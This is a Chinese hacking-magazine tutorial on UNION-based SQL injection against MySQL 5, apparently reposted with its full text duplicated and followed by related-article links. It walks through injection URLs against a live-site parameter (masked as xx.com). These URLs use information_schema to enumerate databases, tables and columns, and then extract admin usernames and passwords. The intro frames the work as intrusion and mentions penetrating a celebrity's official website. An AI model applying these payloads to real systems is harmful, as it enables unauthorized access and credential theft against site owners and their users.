Mysql5注射技巧总结
2008-01-22 14:26
337 查看
flyh4t@126.com
文章已经发表在《黑客手册》,转载请署名版权
Mysql5和之前的版本有很多不同的地方,灵活的运用其特性可以在入侵的时候省掉很多麻烦。我试图在本文把在《渗透周杰伦官方网站》中没有写清楚的部分表达出来,你看明白这个文章后也许你会发现,原来mysql5也可以像mssql一样注射。
一、原理分析
我们先看看mysql5比之前增加的系统数据库information_schema的结构,它是用来存储数据库系统信息的
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
如果读者有兴趣可以自己装一个mysql5研究一下这几个表存储的信息,我这里只挑注射中可以用到的几个表。
| SCHEMATA ――>存储数据库名的,
|——>关键字段:SCHEMA_NAME,表示数据库名称
| TABLES ――>存储表名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
| COLUMNS ――>存储字段名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名
可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。
二、实战测试
到网上找到一个注射点,首先还是像以往一样猜字段、版本和数据库用户,如图1
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,user(),3,4,version(),6,7,8,9,10,11,12,13,14,15/*
图一
下面猜数据库,可以通过不断递增limit的第一个参数查询到所有的数据库名,如图2
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,SCHEMA_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15 from/**/information_schema.SCHEMATA limit 17,1/*
图2
遍里webbase里面的表名,找到敏感的表,如图三(0x77656262617365是webbase的十六进制编码)
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=0x77656262617365/**/limit/**/11,1
图3
tg_adminuser十六进制编码为0x74675F61646D696E75736572,依次查找该表里面的字段名,如图4,图5
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/1,1
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/2,1
图五
数据库,表名,字段我们都知道了,查出密码就很简单了,如图六
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,username,3,4,password,6,7,8,9,10,11,12,13,14,15/**/from/**/webbase.tg_adminuse
图6
文章就到这里结束了,懂点sql语法的朋友应该看的比较明白了:)
文章已经发表在《黑客手册》,转载请署名版权
Mysql5和之前的版本有很多不同的地方,灵活的运用其特性可以在入侵的时候省掉很多麻烦。我试图在本文把在《渗透周杰伦官方网站》中没有写清楚的部分表达出来,你看明白这个文章后也许你会发现,原来mysql5也可以像mssql一样注射。
一、原理分析
我们先看看mysql5比之前增加的系统数据库information_schema的结构,它是用来存储数据库系统信息的
mysql> use information_schema;
Database changed
mysql> show tables;
+---------------------------------------+
| Tables_in_information_schema |
+---------------------------------------+
| CHARACTER_SETS |
| COLLATIONS |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS |
| COLUMN_PRIVILEGES |
| KEY_COLUMN_USAGE |
| ROUTINES |
| SCHEMATA |
| SCHEMA_PRIVILEGES |
| STATISTICS |
| TABLES |
| TABLE_CONSTRAINTS |
| TABLE_PRIVILEGES |
| TRIGGERS |
| USER_PRIVILEGES |
| VIEWS |
+---------------------------------------+
如果读者有兴趣可以自己装一个mysql5研究一下这几个表存储的信息,我这里只挑注射中可以用到的几个表。
| SCHEMATA ――>存储数据库名的,
|——>关键字段:SCHEMA_NAME,表示数据库名称
| TABLES ――>存储表名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示表的名称
| COLUMNS ――>存储字段名的
|——>关键字段:TABLE_SCHEMA表示表所属的数据库名称;
TABLE_NAME表示所属的表的名称
COLUMN_NAME表示字段名
可以看到,我们只要通过注射点构造查询语句遍相关字段,就可以得到我们想要的信息了。
二、实战测试
到网上找到一个注射点,首先还是像以往一样猜字段、版本和数据库用户,如图1
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,user(),3,4,version(),6,7,8,9,10,11,12,13,14,15/*
图一
下面猜数据库,可以通过不断递增limit的第一个参数查询到所有的数据库名,如图2
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,SCHEMA_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15 from/**/information_schema.SCHEMATA limit 17,1/*
图2
遍里webbase里面的表名,找到敏感的表,如图三(0x77656262617365是webbase的十六进制编码)
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.TABLES/**/where/**/TABLE_SCHEMA=0x77656262617365/**/limit/**/11,1
图3
tg_adminuser十六进制编码为0x74675F61646D696E75736572,依次查找该表里面的字段名,如图4,图5
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/1,1
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15/**/from/**/information_schema.COLUMNS/**/where/**/TABLE_NAME=0x74675F61646D696E75736572/**/limit/**/2,1
图五
数据库,表名,字段我们都知道了,查出密码就很简单了,如图六
xx.com/news_info.php?wid=-1/**/union/**/select/**/1,username,3,4,password,6,7,8,9,10,11,12,13,14,15/**/from/**/webbase.tg_adminuse
图6
文章就到这里结束了,懂点sql语法的朋友应该看的比较明白了:)
相关文章推荐
- Mysql5最新暴表注射技巧总结
- MYSQL5 注射技巧笔记
- 最近工作中总结的一些调试技巧
- C# ToString常用技巧总结
- 一些位运算总结和小技巧
- webApp前端开发技巧总结
- Eclipse-MyEclipse使用技巧总结
- Matlab中使用文本文件(.txt)进行数据存取的技巧总结
- 实用的开发技巧总结
- 每一个程序员都应该知道的高并发处理技巧、创业公司如何解决高并发问题、互联网高并发问题解决思路、caoz大神多年经验总结分享
- 盘点xp的强大功能技巧经验总结
- Eclipse工具使用技巧总结
- 微信小程序 css使用技巧总结
- ps切图技巧、基础工具,使用方法总结
- Python 3.x爬虫技巧总结
- UltraEdit技巧总结
- 深入理解C#:编程技巧总结(二)
- PHP从零单排(零)技巧总结
- 程序员面试技巧总结
- eclipse技巧总结